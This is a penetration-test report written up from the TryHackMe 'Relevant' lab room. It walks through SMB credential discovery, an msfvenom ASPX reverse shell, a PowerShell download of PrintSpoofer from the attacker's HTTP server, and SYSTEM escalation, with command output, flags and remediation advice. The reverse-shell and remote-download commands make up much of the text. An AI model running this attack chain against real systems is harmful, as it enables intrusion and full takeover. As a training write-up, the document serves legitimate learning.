

PENETRATION TESTING REPORT

RELEVANT



MOHAMED AKHIL
APRIL 11, 2025

Confidentiality Notice

This report contains sensitive, privileged, and confidential information intended solely for the designated recipient. Any unauthorized use, disclosure, reproduction, or distribution is strictly prohibited. Access to this document should be limited to individuals with a legitimate need to know. Failure to comply may result in legal consequences. Any dissemination, distribution, or copying of this document by anyone other than the intended recipient is strictly prohibited.

Disclaimer

This report presents the results of a penetration test conducted at a specific point in time. The findings are based on the environment's state during the engagement and may not reflect changes made afterward. This document is provided "as-is" for the sole purpose of helping the client address potential security weaknesses. The report must not be considered a guarantee of security. The author and associated parties disclaim all warranties and responsibility for any consequences resulting from the use or misuse of the information provided.

Executive Summary

A black box penetration test was conducted on the "Relevant" TryHackMe room to simulate real-world attack scenarios without prior knowledge of the system. The objective was to uncover any exploitable vulnerabilities that could be leveraged by an external attacker. The assessment successfully identified critical flaws in the environment, including insecure SMB configuration, exposure of sensitive credentials, and privilege escalation through an impersonation exploit (PrintSpoofer).

By chaining these vulnerabilities, full system compromise was achieved, and both user and root flags were retrieved, confirming the ability to gain full administrative access. This report details the steps taken, the risks identified, and provides recommendations to remediate the weaknesses found

Tools Used

The following open-source and native tools were utilized throughout the assessment:

- Nmap: Port scanning and version detection
- Netcat: Reverse shell listener
- SMBClient: Accessing SMB shares anonymously and with credentials
- PowerShell: Command execution and privilege escalation tasks
- PrintSpoofer.exe: Exploit tool to escalate from service account to SYSTEM
- Python HTTP Server: Serving payloads over HTTP

Methodology

A structured approach was followed throughout the engagement:

1. Information Gathering

Initial reconnaissance was conducted using Nmap to identify open ports and services. Ports 80 (HTTP), 135, 139, 445 (SMB), and 3389 (RDP) were discovered.

```
kali@kali: ~/Downloads x  kali@kali: ~/tryhackme/relevant x
Stats: 0:09:24 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 87.50% done; ETC: 03:28 (0:00:14 remaining)
Nmap scan report for 10.10.12.185
Host is up (0.23s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
3389/tcp  open  ms-wbt-server?
49663/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2012|2016|2008|7 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7
Aggressive OS guesses: Microsoft Windows Server 2012 R2 (91%), Microsoft Windows Server 2016 (91%), Microsoft Windows 7 or Windows Server 2008 R2 (91%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 582.42 seconds
```

SMB enumeration revealed a shared folder nt4wrksv accessible anonymously.

```
(kali@kali)-[~/tryhackme/relevant]
$ smbclient -L //10.10.12.185 -N

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
nt4wrksv       Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.12.185 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

2. Exploitation

Got access into SBM share

smbclient //<IP>/nt4wrksv

```
kali@kali: ~/Downloads x  kali@kali: ~/tryhackme/relevant x
(kali@kali)-[~/tryhackme/relevant]
$ smbclient //10.10.12.185/nt4wrksv -N

Try "help" to get a list of possible commands.
smb: \> ls
.                D          0   Sat Jul 25 17:46:04 2020
..               D          0   Sat Jul 25 17:46:04 2020
passwords.txt    A        98   Sat Jul 25 11:15:33 2020

7735807 blocks of size 4096. 4947961 blocks available
smb: \> get passwords.txt
getting file \passwords.txt of size 98 as passwords.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \> cat password.txt
cat: command not found
smb: \> exit

(kali@kali)-[~/tryhackme/relevant]
$ cat passwords.txt
[User Passwords - Encoded]
Qm9iIC0gIVBAJCRXMHJEITEyMw==
QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk
```

The SMB share contained a configuration file with base64-encoded credentials. Decoding yielded valid credentials for user Bob. These were used to authenticate against the SMB service and upload a reverse shell payload.

```
(kali@kali)-[~/tryhackme/relevant]
$ echo "Qm9iIC0gIVBAJCRXMHJEITEyMw==" | base64 -d
Bob - !P0$$W0rD!123

(kali@kali)-[~/tryhackme/relevant]
$ echo "QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk" | base64 -d
Bill - Juw4nnaM4n420696969!$$$
```

Uploaded a test file into the smb share and it was successful.

```
(kali@kali)-[~/tryhackme/relevant]
$ echo "upload test" > test.txt

(kali@kali)-[~/tryhackme/relevant]
$ smbclient //10.10.12.185/nt4wrksv -U Bob

Password for [WORKGROUP\Bob]:
Try "help" to get a list of possible commands.
smb: \> put test.txt
putting file test.txt as \test.txt (0.0 kb/s) (average 0.0 kb/s)
smb: \>
```

using msfvenom, which is a payload generation tool from the Metasploit Framework ,generated a malicious ASPX file that, when executed on a Windows server, opens a reverse shell connection back to your Kali machine.

```
kali@kali: ~ - kali@kali: ~/THM/Relevant x kali@kali: ~/THM/Relevant x kali@kali: ~/THM/Relevant x
(kali@kali)-[~/THM/Relevant]
$ sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.13.47.211 LPORT=7777 -f aspx -o shell.aspx
[sudo] password for kali:
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of aspx file: 3423 bytes
Saved as: shell.aspx
```

uploaded the shell.aspx file into the smb client

```
smb: \> put shell.aspx
putting file shell.aspx as \shell.aspx (5.4 kb/s) (average 2.7 kb/s)
smb: \> dir
.                D           0 Thu Aug 29 10:56:32 2024
..               D           0 Thu Aug 29 10:56:32 2024
passwords.txt    A           98 Sat Jul 25 11:15:33 2020
shell.aspx       A        3423 Thu Aug 29 10:56:32 2024
test upload.txt  A           11 Thu Aug 29 10:53:49 2024

7735807 blocks of size 4096. 5134147 blocks available
smb: \> █
```

created a listener in kali machine using netcat from port 7777 and got a reverse shell

nc -lvnp 7777

```
File Actions Edit View Help
kali@kali: ~/Downloads x kali@kali: ~/tryhackme/relevant x kali@kali: ~/tryhackme/relevant x kali@kali: ~/tryhackme/
zsh: corrupt history file /home/kali/.zsh_history
(kali@kali)-[~/tryhackme/relevant]
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.17.35.44] from (UNKNOWN) [10.10.39.3] 49913
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetrv> █
```

3. Privilege Escalation

Downloaded the file PrintSpoofer64.exe from the specified GitHub

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -O PrintSpoofer.exe

```
kali@kali: ~/Downloads * kali@kali: ~/tryhackme/relevant * kali@kali: ~/tryhackme/relevant * kali@kali: ~/tryhackme/relevant *
kali@kali: ~/tryhackme/relevant
$ wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -O PrintSpoofer.exe
--2025-04-09 09:43:55-- https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
Resolving github.com (github.com)... 20.207.73.82
Connecting to github.com (github.com)|20.207.73.82|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/259576481/816ce080-f39e-11ea-8fc2-8afb7b4f4821?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250409%2Fus-east-1%2F%3%2Faws4_request%26X-Amz-Date=20250409T135623Z%26X-Amz-Expires=300&X-Amz-Signature=5609955b0e363d01ba52a22b83849cdd45a946d0b537e0daacc917bc364d28c56X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DPrintSpoofer64.exe&response-content-type=application%2Foctet-stream [following]
--2025-04-09 09:43:56-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/259576481/816ce080-f39e-11ea-8fc2-8afb7b4f4821?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250409%2Fus-east-1%2F%3%2Faws4_request%26X-Amz-Date=20250409T135623Z%26X-Amz-Expires=300&X-Amz-Signature=5609955b0e363d01ba52a22b83849cdd45a946d0b537e0daacc917bc364d28c56X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3DPrintSpoofer64.exe&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 27136 (26K) [application/octet-stream]
Saving to: 'PrintSpoofer.exe'

PrintSpoofer.exe      100%[=====>] 26.50K  --.-KB/s  in 0.007s

2025-04-09 09:43:57 (3.51 MB/s) - 'PrintSpoofer.exe' saved [27136/27136]

kali@kali: ~/tryhackme/relevant
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
```

Uploaded PrintSpoofer.exe to the target using PowerShell and HTTP server hosted on Kali (<http://10.17.35.44:8000>)

Ran **PrintSpoofer.exe -i -c cmd** to spawn a SYSTEM-level shell

```
kali@kali: ~/tryhackme/relevant
$ nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.17.35.44] from (UNKNOWN) [10.10.39.3] 49977
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv\powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.17.35.44:8000/PrintSpoofer.exe','C:\Windows\Temp\PrintSpoofer.exe')
powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.17.35.44:8000/PrintSpoofer.exe','C:\Windows\Temp\PrintSpoofer.exe')"
```

```
c:\windows\system32\inetsrv>dir C:\Windows\Temp\PrintSpoofer.exe
dir C:\Windows\Temp\PrintSpoofer.exe
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of C:\Windows\Temp

04/09/2025  07:16 AM                27,136 PrintSpoofer.exe
               1 File(s)                27,136 bytes
               0 Dir(s) 21,045,248,000 bytes free

c:\windows\system32\inetsrv>C:\Windows\Temp\PrintSpoofer.exe -i -c cmd
C:\Windows\Temp\PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

checked the privilege by running **whoami**

```
C:\Windows\system32>
C:\Windows\system32>whoami
whoami
nt authority\system

C:\Windows\system32>
```

4. Flag Capture

navigated to users directory and listed the users

```
cd C:\Users

C:\Users>dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of C:\Users

07/25/2020  02:03 PM    <DIR>          .
07/25/2020  02:03 PM    <DIR>          ..
07/25/2020  08:05 AM    <DIR>          .NET v4.5
07/25/2020  08:05 AM    <DIR>          .NET v4.5 Classic
07/25/2020  10:30 AM    <DIR>          Administrator
07/25/2020  02:03 PM    <DIR>          Bob
07/25/2020  07:58 AM    <DIR>          Public
               0 File(s)              0 bytes
               7 Dir(s)  20,258,287,616 bytes free
```

navigated to bob user and found the user.txt file which must contain the flag

```
cd Bob\Desktop

C:\Users\Bob\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of C:\Users\Bob\Desktop

07/25/2020  02:04 PM    <DIR>          .
07/25/2020  02:04 PM    <DIR>          ..
07/25/2020  08:24 AM                35 user.txt
               1 File(s)              35 bytes
               2 Dir(s)  20,258,287,616 bytes free
```


Navigated to C:\Users\Bob\Desktop\user.txt

Retrieved **User Flag:**

THM{fdk4ka34vk346ksxfr21tg789ktf45}

```
07/25/2020 08:24 PM <DIR> ..
07/25/2020 08:24 AM          35 user.txt
                1 File(s)        35 bytes
                2 Dir(s)  20,258,287,616 bytes free

C:\Users\Bob\Desktop>type user.txt
type user.txt
THM{fdk4ka34vk346ksxfr21tg789ktf45}
C:\Users\Bob\Desktop>
```

Navigated to C:\Windows\System32 as SYSTEM and located root.txt

Retrieved **Root Flag:**

THM{1fk5kf469devly1gl320zafgl345pv}

```
THM{fdk4ka34vk346ksxfr21tg789ktf45}
C:\Users\Bob\Desktop>cd C:\Users\Administrator\Desktop
dir
cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is AC3C-5CB5

Directory of C:\Users\Administrator\Desktop

07/25/2020 08:24 AM <DIR> .
07/25/2020 08:24 AM <DIR> ..
07/25/2020 08:25 AM          35 root.txt
                1 File(s)        35 bytes
                2 Dir(s)  20,257,730,560 bytes free

C:\Users\Administrator\Desktop>type root.txt
type root.txt
THM{1fk5kf469devly1gl320zafgl345pv}
C:\Users\Administrator\Desktop>
```

Findings

1. Misconfigured SMB Share

Severity: **High**

Description: Unauthenticated users could access sensitive files via SMB.

2. Hardcoded Credentials

Severity: **High**

Description: Credentials were found in a configuration file accessible over SMB.

3. Privilege Escalation via PrintSpoofer

Severity: **Critical**

Description: SYSTEM privileges obtained by abusing SeImpersonate privilege

Recommendations

1. Misconfigured SMB Share - Restrict access to all file shares using appropriate authentication mechanisms. - Disable anonymous login where not required. - Regularly audit SMB shares and access logs.

2. Hardcoded Credentials - Avoid storing plaintext credentials in accessible configuration files. - Use secure vaults for secrets management. - Enforce strong password policies and periodic password rotation.

3. Privilege Escalation via PrintSpoofer - Patch the system to disable vulnerable privilege escalation paths. - Limit SeImpersonatePrivilege to only trusted services. - Monitor and alert on suspicious privilege escalation activity.

Conclusion

The assessment of the "Relevant" TryHackMe room demonstrated that multiple high-impact vulnerabilities exist that, when chained together, allow for full compromise of the system. The lack of authentication on SMB, exposure of plaintext credentials, and the ability to escalate privileges to SYSTEM pose severe risks in a production setting.

Had this been a real-world target, an attacker could have easily moved laterally or used the host as a staging ground for additional compromise. The exploitation path used in this test mimics tactics observed in real cyberattacks.

To secure the environment, we recommend a multilayered approach:

- Immediate removal of exposed credentials
- Restriction and monitoring of file sharing protocols
- Revocation of unnecessary privileges
- Timely patching of known vulnerabilities

Performing routine security assessments and adopting defense-in-depth strategies will help mitigate similar risks in future deployments.

THE END